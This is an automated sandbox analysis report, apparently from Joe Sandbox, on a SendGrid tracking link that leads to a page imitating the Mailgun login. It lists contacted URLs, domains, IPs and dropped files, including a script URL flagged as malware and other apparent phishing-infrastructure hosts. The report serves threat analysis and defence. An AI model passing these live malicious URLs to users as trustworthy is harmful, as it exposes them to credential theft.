https://www.facebook.com/privacy_sandbox/pixel/register/trigger/?id=541164370529087&ev=Scroll_50&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010327099&sw=1280&sh=1024&v=2.9.160&r=stable&ec=2&o=4126&fbp=fb.1.1720010325961.1187528993&ler=empty&cdl=API_unavailable&it=1720010324745&coo=false&rqm=FGET	0%	Avira URL Cloud	safe
https://cdn.rudderlabs.com/v1.1/rudder-analytics.min.js	0%	Avira URL Cloud	safe
https://login.mailgun.com/login/static/roboto-v27-latin-700.woff	0%	Avira URL Cloud	safe
https://login.mailgun.com/login/static/logo-mailgun-sinch.svg	0%	Avira URL Cloud	safe
https://1b3rmrwdw.buzz/gun/index.js	100%	Avira URL Cloud	malware
https://login.mailgun.com/login/static/red-hat-display-v11-latin-700.woff	0%	Avira URL Cloud	safe
https://x.clearbitjs.com/v2/pk_54258638e2140e223e87c6c868ec9a93/tracking.min.js	0%	Avira URL Cloud	safe
https://googleads.g.doubleclick.net	0%	Avira URL Cloud	safe
https://www.facebook.com/privacy_sandbox/pixel/register/trigger/?id=541164370529087&ev=PageView&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010325963&sw=1280&sh=1024&v=2.9.160&r=stable&ec=0&o=4126&fbp=fb.1.1720010325961.1187528993&it=1720010324745&coo=false&rqm=FGET	0%	Avira URL Cloud	safe
https://static.ads-twitter.com/uwt.js	0%	Avira URL Cloud	safe
https://87484878475.alt-xm-38iszmu.workers.dev/	0%	Avira URL Cloud	safe
https://www.facebook.com/tr/?id=541164370529087&ev=Scroll_50&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010327099&sw=1280&sh=1024&v=2.9.160&r=stable&ec=2&o=4126&fbp=fb.1.1720010325961.1187528993&ler=empty&cdl=API_unavailable&it=1720010324745&coo=false&rqm=GET	0%	Avira URL Cloud	safe
https://www.google.com/pagead/1p-user-list/1005952947/?random	0%	Avira URL Cloud	safe
https://www.google.com/ads/ga-audiences	0%	Avira URL Cloud	safe
https://connect.facebook.net/signals/config/541164370529087?v=2.9.160&r=stable&domain=9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net&hme=733c3732ec767f7a62e7787aff967e6d19b1e13e533937876f2e15efe07bf678&ex_m=67%2C113%2C100%2C104%2C58%2C3%2C93%2C66%2C15%2C91%2C84%2C49%2C51%2C160%2C163%2C175%2C171%2C172%2C174%2C28%2C94%2C50%2C73%2C173%2C155%2C158%2C168%2C169%2C176%2C122%2C39%2C33%2C134%2C14%2C48%2C181%2C180%2C124%2C17%2C38%2C1%2C41%2C62%2C63%2C64%2C68%2C88%2C16%2C13%2C90%2C87%2C86%2C101%2C103%2C37%2C102%2C29%2C25%2C156%2C159%2C131%2C27%2C10%2C11%2C12%2C5%2C6%2C24%2C21%2C22%2C54%2C59%2C61%2C71%2C95%2C26%2C72%2C8%2C7%2C76%2C46%2C20%2C97%2C96%2C98%2C9%2C19%2C18%2C81%2C53%2C79%2C32%2C70%2C0%2C89%2C31%2C78%2C83%2C45%2C44%2C82%2C36%2C4%2C85%2C77%2C42%2C34%2C80%2C2%2C35%2C60%2C40%2C99%2C43%2C75%2C65%2C105%2C57%2C56%2C30%2C92%2C55%2C52%2C47%2C74%2C69%2C23%2C106	0%	Avira URL Cloud	safe
https://www.facebook.com/privacy_sandbox/pixel/register/trigger/?id=541164370529087&ev=Scroll_50&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010325966&sw=1280&sh=1024&v=2.9.160&r=stable&ec=1&o=4126&fbp=fb.1.1720010325961.1187528993&it=1720010324745&coo=false&rqm=FGET	0%	Avira URL Cloud	safe
https://login.mailgun.com/login/static/favicon.png	0%	Avira URL Cloud	safe
https://tag.clearbitscripts.com/v1/pk_54258638e2140e223e87c6c868ec9a93/tags.js	0%	Avira URL Cloud	safe
https://x.clearbitjs.com/v2/pk_54258638e2140e223e87c6c868ec9a93/destinations.min.js	0%	Avira URL Cloud	safe
https://www.google.%/ads/ga-audiences	0%	Avira URL Cloud	safe
https://connect.facebook.net/signals/config/541164370529087?v=2.9.104&r=stable	0%	Avira URL Cloud	safe
https://adservice.google.com/pagead/regclk?	0%	Avira URL Cloud	safe
https://google.com	0%	Avira URL Cloud	safe
https://www.facebook.com/tr/?id=541164370529087&ev=Scroll_50&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010325966&sw=1280&sh=1024&v=2.9.160&r=stable&ec=1&o=4126&fbp=fb.1.1720010325961.1187528993&it=1720010324745&coo=false&rqm=GET	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
star-mini.c10r.facebook.com	157.240.0.35	true	false	unknown
d330tt87tgwpr0.cloudfront.net	18.239.83.17	true	false	unknown
tag.clearbitscripts.com	13.226.175.10	true	false	unknown
s.twitter.com	104.244.42.195	true	false	unknown
login.mailgun.com	34.160.63.108	true	false	unknown
u6071375.ct.sendgrid.net	167.89.118.28	true	false	unknown
platform.twitter.map.fastly.net	146.75.120.157	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
s-part-0014.t-0009.t-msedge.net	13.107.246.42	true	false	unknown
dualstack.reddit.map.fastly.net	151.101.129.140	true	false	unknown
bg.microsoft.map.fastly.net	199.232.210.172	true	false	unknown
scontent.xx.fbcdn.net	157.240.0.6	true	false	unknown
t.co	93.184.221.165	true	false	unknown
1b3rmrwdw.buzz	142.11.212.118	true	false	unknown
googleads.g.doubleclick.net	142.250.185.130	true	false	unknown
global-v4.clearbit.com	3.127.196.46	true	false	unknown
www.google.com	142.250.185.132	true	false	unknown
87484878475.alt-xm-38iszmu.workers.dev	172.67.147.221	true	false	unknown
grsm.io	104.18.10.212	true	false	unknown
windowsupdatebg.s.llnwi.net	178.79.238.0	true	false	unknown
static.ads-twitter.com	unknown	unknown	false	unknown
www.facebook.com	unknown	unknown	false	unknown
www.redditstatic.com	unknown	unknown	false	unknown
get.sinchemail.com	unknown	unknown	false	unknown
td.google.com	unknown	unknown	false	unknown
c.6sc.co	unknown	unknown	false	unknown
x.clearbitjs.com	unknown	unknown	false	unknown
connect.facebook.net	unknown	unknown	false	unknown
px.ads.linkedin.com	unknown	unknown	false	unknown
9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net	unknown	unknown	false	unknown
analytics.twitter.com	unknown	unknown	false	unknown
snap.licdn.com	unknown	unknown	false	unknown
j.6sc.co	unknown	unknown	false	unknown
ipv6.6sc.co	unknown	unknown	false	unknown
cdn.rudderlabs.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.facebook.com/tr/?id=541164370529087&ev=PageView&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010325963&sw=1280&sh=1024&v=2.9.160&r=stable&ec=0&o=4126&fbp=fb.1.1720010325961.1187528993&it=1720010324745&coo=false&rqm=GET	false	Avira URL Cloud: safe	unknown
https://www.redditstatic.com/ads/pixel.js	false	URL Reputation: safe	unknown
https://get.sinchemail.com/pr/js	false	Avira URL Cloud: safe	unknown
https://x.clearbitjs.com/v1/pk_54258638e2140e223e87c6c868ec9a93/forms.js?page_path=%2FC%3A%2FUsers%2FAdministrator%2FDesktop%2FNEW%2520ERA%2FMAILGUNPAGE%25202023%2Fpage%2Findex.html	false	Avira URL Cloud: safe	unknown
https://analytics.twitter.com/1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=939cc2b0-a976-4b0b-a894-1b98e3298bf7&integration=gtm&p_id=Twitter&p_user_id=0&pl_id=eeb64410-e513-4069-a922-41bb6f75921e&tw_document_href=file%3A%2F%2F%2FC%3A%2FUsers%2FAdministrator%2FDesktop%2FNEW%2520ERA%2FMAILGUNPAGE%25202023%2Fpage%2Findex.html&tw_iframe_status=0&txn_id=o57gg&type=javascript&version=2.3.29	false	Avira URL Cloud: safe	unknown
https://login.mailgun.com/login/static/style.css?v=1.0.0	false	Avira URL Cloud: safe	unknown
https://connect.facebook.net/en_US/fbevents.js	false	URL Reputation: safe	unknown
https://cdn.rudderlabs.com/v1.1/js-integrations/GoogleTagManager.min.js	false	Avira URL Cloud: safe	unknown
https://login.mailgun.com/login/static/roboto-v27-latin-regular.woff	false	Avira URL Cloud: safe	unknown
https://www.facebook.com/tr/?redirect=0&rqm=GET&coo=false&it=1720010324745&cdl=API_unavailable&ler=empty&fbp=fb.1.1720010325961.1187528993&o=4126&ec=2&r=stable&v=2.9.160&sh=1024&sw=1280&ts=1720010327099&if=false&rl=&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&ev=Scroll_50&id=541164370529087	false	Avira URL Cloud: safe	unknown
https://t.co/1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=939cc2b0-a976-4b0b-a894-1b98e3298bf7&integration=gtm&p_id=Twitter&p_user_id=0&pl_id=eeb64410-e513-4069-a922-41bb6f75921e&tw_document_href=file%3A%2F%2F%2FC%3A%2FUsers%2FAdministrator%2FDesktop%2FNEW%2520ERA%2FMAILGUNPAGE%25202023%2Fpage%2Findex.html&tw_iframe_status=0&txn_id=o57gg&type=javascript&version=2.3.29	false	Avira URL Cloud: safe	unknown
https://login.mailgun.com/login/static/mailgun-login-leftrail.png	false	Avira URL Cloud: safe	unknown
https://login.mailgun.com/login/static/logo-mailgun-sinch.svg	false	Avira URL Cloud: safe	unknown
https://login.mailgun.com/login/static/roboto-v27-latin-700.woff	false	Avira URL Cloud: safe	unknown
https://www.facebook.com/privacy_sandbox/pixel/register/trigger/?id=541164370529087&ev=Scroll_50&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010327099&sw=1280&sh=1024&v=2.9.160&r=stable&ec=2&o=4126&fbp=fb.1.1720010325961.1187528993&ler=empty&cdl=API_unavailable&it=1720010324745&coo=false&rqm=FGET	false	Avira URL Cloud: safe	unknown
https://cdn.rudderlabs.com/v1.1/rudder-analytics.min.js	false	Avira URL Cloud: safe	unknown
https://1b3rmrwdw.buzz/gun/index.js	false	Avira URL Cloud: malware	unknown
https://x.clearbitjs.com/v2/pk_54258638e2140e223e87c6c868ec9a93/tracking.min.js	false	Avira URL Cloud: safe	unknown
https://www.facebook.com/privacy_sandbox/pixel/register/trigger/?id=541164370529087&ev=PageView&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010325963&sw=1280&sh=1024&v=2.9.160&r=stable&ec=0&o=4126&fbp=fb.1.1720010325961.1187528993&it=1720010324745&coo=false&rqm=FGET	false	Avira URL Cloud: safe	unknown
https://login.mailgun.com/login/static/red-hat-display-v11-latin-700.woff	false	Avira URL Cloud: safe	unknown
https://static.ads-twitter.com/uwt.js	false	Avira URL Cloud: safe	unknown
https://connect.facebook.net/signals/config/541164370529087?v=2.9.160&r=stable&domain=9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net&hme=733c3732ec767f7a62e7787aff967e6d19b1e13e533937876f2e15efe07bf678&ex_m=67%2C113%2C100%2C104%2C58%2C3%2C93%2C66%2C15%2C91%2C84%2C49%2C51%2C160%2C163%2C175%2C171%2C172%2C174%2C28%2C94%2C50%2C73%2C173%2C155%2C158%2C168%2C169%2C176%2C122%2C39%2C33%2C134%2C14%2C48%2C181%2C180%2C124%2C17%2C38%2C1%2C41%2C62%2C63%2C64%2C68%2C88%2C16%2C13%2C90%2C87%2C86%2C101%2C103%2C37%2C102%2C29%2C25%2C156%2C159%2C131%2C27%2C10%2C11%2C12%2C5%2C6%2C24%2C21%2C22%2C54%2C59%2C61%2C71%2C95%2C26%2C72%2C8%2C7%2C76%2C46%2C20%2C97%2C96%2C98%2C9%2C19%2C18%2C81%2C53%2C79%2C32%2C70%2C0%2C89%2C31%2C78%2C83%2C45%2C44%2C82%2C36%2C4%2C85%2C77%2C42%2C34%2C80%2C2%2C35%2C60%2C40%2C99%2C43%2C75%2C65%2C105%2C57%2C56%2C30%2C92%2C55%2C52%2C47%2C74%2C69%2C23%2C106	false	Avira URL Cloud: safe	unknown
https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/	false		unknown
https://87484878475.alt-xm-38iszmu.workers.dev/	false	Avira URL Cloud: safe	unknown
https://www.facebook.com/tr/?id=541164370529087&ev=Scroll_50&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010327099&sw=1280&sh=1024&v=2.9.160&r=stable&ec=2&o=4126&fbp=fb.1.1720010325961.1187528993&ler=empty&cdl=API_unavailable&it=1720010324745&coo=false&rqm=GET	false	Avira URL Cloud: safe	unknown
https://www.facebook.com/privacy_sandbox/pixel/register/trigger/?id=541164370529087&ev=Scroll_50&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010325966&sw=1280&sh=1024&v=2.9.160&r=stable&ec=1&o=4126&fbp=fb.1.1720010325961.1187528993&it=1720010324745&coo=false&rqm=FGET	false	Avira URL Cloud: safe	unknown
https://tag.clearbitscripts.com/v1/pk_54258638e2140e223e87c6c868ec9a93/tags.js	false	Avira URL Cloud: safe	unknown
https://u6071375.ct.sendgrid.net/ls/click?upn=u001.jNebCYco-2BJgBMGJDj1kJWP39IKixFvDeSBij1PLovvXT0hkMSWjEhuIEgwQ-2F309CwGFmoY6-2Bl45VLW7K9Sd8-2Fg-3D-3Dm1D8_bgsmQmhs-2BDkrnAcljUiGIti1-2F3303-2FliL2Lyr586-2FN9rAlBFKILfRyjObk6Iz5-2FtMSxC-2FhiWOZXbqnmzeZXBiy3CSpPIYxz2-2BTcFMtFX6z-2FFKaL9cuMNNsd9H8Soth9M-2BiGwIhw5kRyphke6a8RYyV0rtdDONsX7lNk6Cr796v-2FIJZ8nzBJ39o6b-2FDySakEM-2B9nvScrgUWzDogJp7LxfPQ-3D-3D	false		unknown
https://login.mailgun.com/login/static/favicon.png	false	Avira URL Cloud: safe	unknown
https://x.clearbitjs.com/v2/pk_54258638e2140e223e87c6c868ec9a93/destinations.min.js	false	Avira URL Cloud: safe	unknown
https://www.facebook.com/tr/?id=541164370529087&ev=Scroll_50&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010325966&sw=1280&sh=1024&v=2.9.160&r=stable&ec=1&o=4126&fbp=fb.1.1720010325961.1187528993&it=1720010324745&coo=false&rqm=GET	false	Avira URL Cloud: safe	unknown
https://connect.facebook.net/signals/config/541164370529087?v=2.9.104&r=stable	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://stats.g.doubleclick.net/g/collect	chromecache_167.2.dr	false	URL Reputation: safe	unknown
https://p.teads.tv/teads-fellow.js	chromecache_145.2.dr	false	Avira URL Cloud: safe	unknown
https://ampcid.google.com/v1/publisher:getClientId	chromecache_166.2.dr	false	URL Reputation: safe	unknown
https://px.ads.linkedin.com/collect?	chromecache_145.2.dr	false	URL Reputation: safe	unknown
https://www.google.com	chromecache_167.2.dr	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/iframe_api	chromecache_145.2.dr, chromecache_167.2.dr	false	URL Reputation: safe	unknown
https://github.com/krux/postscribe/blob/master/LICENSE.	chromecache_145.2.dr	false	Avira URL Cloud: safe	unknown
https://stats.g.doubleclick.net/j/collect	chromecache_166.2.dr	false	URL Reputation: safe	unknown
https://googleads.g.doubleclick.net	chromecache_145.2.dr	false	Avira URL Cloud: safe	unknown
https://tagassistant.google.com/	chromecache_166.2.dr	false	URL Reputation: safe	unknown
https://cct.google/taggy/agent.js	chromecache_145.2.dr, chromecache_167.2.dr	false	URL Reputation: safe	unknown
https://www.google.com/pagead/1p-user-list/1005952947/?random	chromecache_170.2.dr, chromecache_157.2.dr	false	Avira URL Cloud: safe	unknown
https://snap.licdn.com/li.lms-analytics/insight.min.js	chromecache_145.2.dr	false	URL Reputation: safe	unknown
https://www.google.com/ads/ga-audiences	chromecache_166.2.dr	false	Avira URL Cloud: safe	unknown
https://www.google.%/ads/ga-audiences	chromecache_166.2.dr	false	Avira URL Cloud: safe	unknown
https://td.doubleclick.net	chromecache_145.2.dr, chromecache_167.2.dr	false	URL Reputation: safe	unknown
https://www.merchant-center-analytics.goog	chromecache_167.2.dr	false	URL Reputation: safe	unknown
https://google.com	chromecache_145.2.dr	false	Avira URL Cloud: safe	unknown
https://adservice.google.com/pagead/regclk?	chromecache_167.2.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	unknown	United States	15169	GOOGLEUS	false
13.107.246.42	s-part-0014.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.226.175.10	tag.clearbitscripts.com	United States	16509	AMAZON-02US	false
216.58.212.164	unknown	United States	15169	GOOGLEUS	false
157.240.0.6	scontent.xx.fbcdn.net	United States	32934	FACEBOOKUS	false
172.67.147.221	87484878475.alt-xm-38iszmu.workers.dev	United States	13335	CLOUDFLARENETUS	false
167.89.118.28	u6071375.ct.sendgrid.net	United States	11377	SENDGRIDUS	false
157.240.0.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
104.18.10.212	grsm.io	United States	13335	CLOUDFLARENETUS	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
142.11.212.118	1b3rmrwdw.buzz	United States	54290	HOSTWINDSUS	false
104.244.42.195	s.twitter.com	United States	13414	TWITTERUS	false
216.58.206.68	unknown	United States	15169	GOOGLEUS	false
93.184.221.165	t.co	European Union	15133	EDGECASTUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
3.127.196.46	global-v4.clearbit.com	United States	16509	AMAZON-02US	false
142.250.185.130	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
146.75.120.157	platform.twitter.map.fastly.net	Sweden	30051	SCCGOVUS	false
151.101.129.140	dualstack.reddit.map.fastly.net	United States	54113	FASTLYUS	false
18.239.83.17	d330tt87tgwpr0.cloudfront.net	United States	16509	AMAZON-02US	false
34.160.63.108	login.mailgun.com	United States	2686	ATGS-MMD-ASUS	false

Private

IP
192.168.2.18
192.168.2.6
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1466885
Start date and time:	2024-07-03 14:37:43 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://u6071375.ct.sendgrid.net/ls/click?upn=u001.jNebCYco-2BJgBMGJDj1kJWP39IKixFvDeSBij1PLovvXT0hkMSWjEhuIEgwQ-2F309CwGFmoY6-2Bl45VLW7K9Sd8-2Fg-3D-3Dm1D8_bgsmQmhs-2BDkrnAcljUiGIti1-2F3303-2FliL2Lyr586-2FN9rAlBFKILfRyjObk6Iz5-2FtMSxC-2FhiWOZXbqnmzeZXBiy3CSpPIYxz2-2BTcFMtFX6z-2FFKaL9cuMNNsd9H8Soth9M-2BiGwIhw5kRyphke6a8RYyV0rtdDONsX7lNk6Cr796v-2FIJZ8nzBJ39o6b-2FDySakEM-2B9nvScrgUWzDogJp7LxfPQ-3D-3D
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.phis.win@23/61@67/24
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.99, 142.250.184.238, 66.102.1.84, 34.104.35.123, 142.250.185.168, 104.115.82.10, 104.115.82.25, 88.221.110.136, 88.221.110.227, 2.17.100.210, 2.17.100.193, 142.250.185.106, 172.217.18.10, 142.250.185.170, 142.250.186.42, 216.58.206.42, 172.217.16.138, 142.250.186.106, 142.250.74.202, 142.250.185.138, 142.250.185.234, 142.250.186.74, 142.250.184.202, 142.250.186.138, 142.250.181.234, 172.217.16.202, 142.250.185.202, 95.101.111.184, 95.101.111.170, 13.107.42.14, 52.165.165.26, 178.79.238.0, 192.229.221.95, 13.85.23.206, 20.3.187.198, 142.250.186.163, 199.232.210.172, 131.107.255.255
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, ipv6-2.6sc.co.edgekey.net, dns.msftncsi.com, l-0005.l-msedge.net, clients2.google.com, ocsp.digicert.com, www.googletagmanager.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, e212585.b.akamaiedge.net, wu-b-net.trafficmanager.net, www.google-analytics.com, c2.6sc.co.edgekey.net, glb.sls.prod.dcat.dsp.trafficmanager.net, www-linkedin-com.l-0005.l-msedge.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, j2.6sc.co.edgekey.net, od.linkedin.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, clients.l.google.com, e212585.dscb.akamaiedge.net, a1916.dscg2.akamai.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://u6071375.ct.sendgrid.net/ls/click?upn=u001.jNebCYco-2BJgBMGJDj1kJWP39IKixFvDeSBij1PLovvXT0hkMSWjEhuIEgwQ-2F309CwGFmoY6-2Bl45VLW7K9Sd8-2Fg-3D-3Dm1D8_bgsmQmhs-2BDkrnAcljUiGIti1-2F3303-2FliL2Lyr586-2FN9rAlBFKILfRyjObk6Iz5-2FtMSxC-2FhiWOZXbqnmzeZXBiy3CSpPIYxz2-2BTcFMtFX6z-2FFKaL9cuMNNsd9H8Soth9M-2BiGwIhw5kRyphke6a8RYyV0rtdDONsX7lNk6Cr796v-2FIJZ8nzBJ39o6b-2FDySakEM-2B9nvScrgUWzDogJp7LxfPQ-3D-3D

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jul 3 11:38:39 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.985166336135529
Encrypted:	false
SSDEEP:	48:8DdxT5Jx2H5idAKZdA19ehwiZUklqehTy+3:8rHxMIy
MD5:	05D466DB13E485CB24E5A89A15064A65
SHA1:	F2C6791B519C2C6328B5017C56A264D4726F03E1
SHA-256:	98F268599BF8D00B462A5C72B9C59C2B7465D9F474ECA89D947D71B419AA980C
SHA-512:	BC458BEB340D65F5B2F31B89847D9D53DDF68589F61FDEF61EF493464AD012BFB0B4B1E00FCED3D86863DC7802B35A12B5B6A54717DE0A6F84EE1E3BF85D2DAD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......#.E...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.d....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.d....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.d....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.d..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.d...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........\|.X......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jul 3 11:38:39 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.997418748752405
Encrypted:	false
SSDEEP:	48:83dxT5Jx2H5idAKZdA1weh/iZUkAQkqeh4y+2:83Hx+9Q1y
MD5:	076F032E3A88EA49A4248FD249F4AD0C
SHA1:	B8B005C587810F171AF76FC6BD7944258CA6777A
SHA-256:	D1EDA3A12139AD32E1557470A70D7EF12AF81ED5CB7826C827206D47FB27E816
SHA-512:	0A120F0AD9E292DF9305C8D4F67C54CA196619C336ADAE8A8A83182D487F64BAED48E81BBF4C8DAC8B7D10B91A45D71386D9986D60A5DC14B780883E6C24F1FA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....,..E...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.d....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.d....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.d....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.d..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.d...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........\|.X......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.008939370390677
Encrypted:	false
SSDEEP:	48:8xKdxT5JsH5idAKZdA14tseh7sFiZUkmgqeh7s6y+BX:8xsHMnUy
MD5:	A5A4BB5027A407D1BD1BFC95DAE43BB8
SHA1:	27E1E7E9FE401DDB48AEDBDB38D446453AC15C7F
SHA-256:	D85F0334662EEB57A0B88358D860FB5C9CC2B76FD30C813B4029B73B36404E1A
SHA-512:	F41553A30887594F214165BABCF66860493CAAEB6D5B9EBED046DD833E7BECD026ACACA5079587FD0E5466DFC2D6E1C995A0AF6383B5F9A8ABC483BCA7B0ED45
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.d....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.d....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.d....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.d..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........\|.X......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. 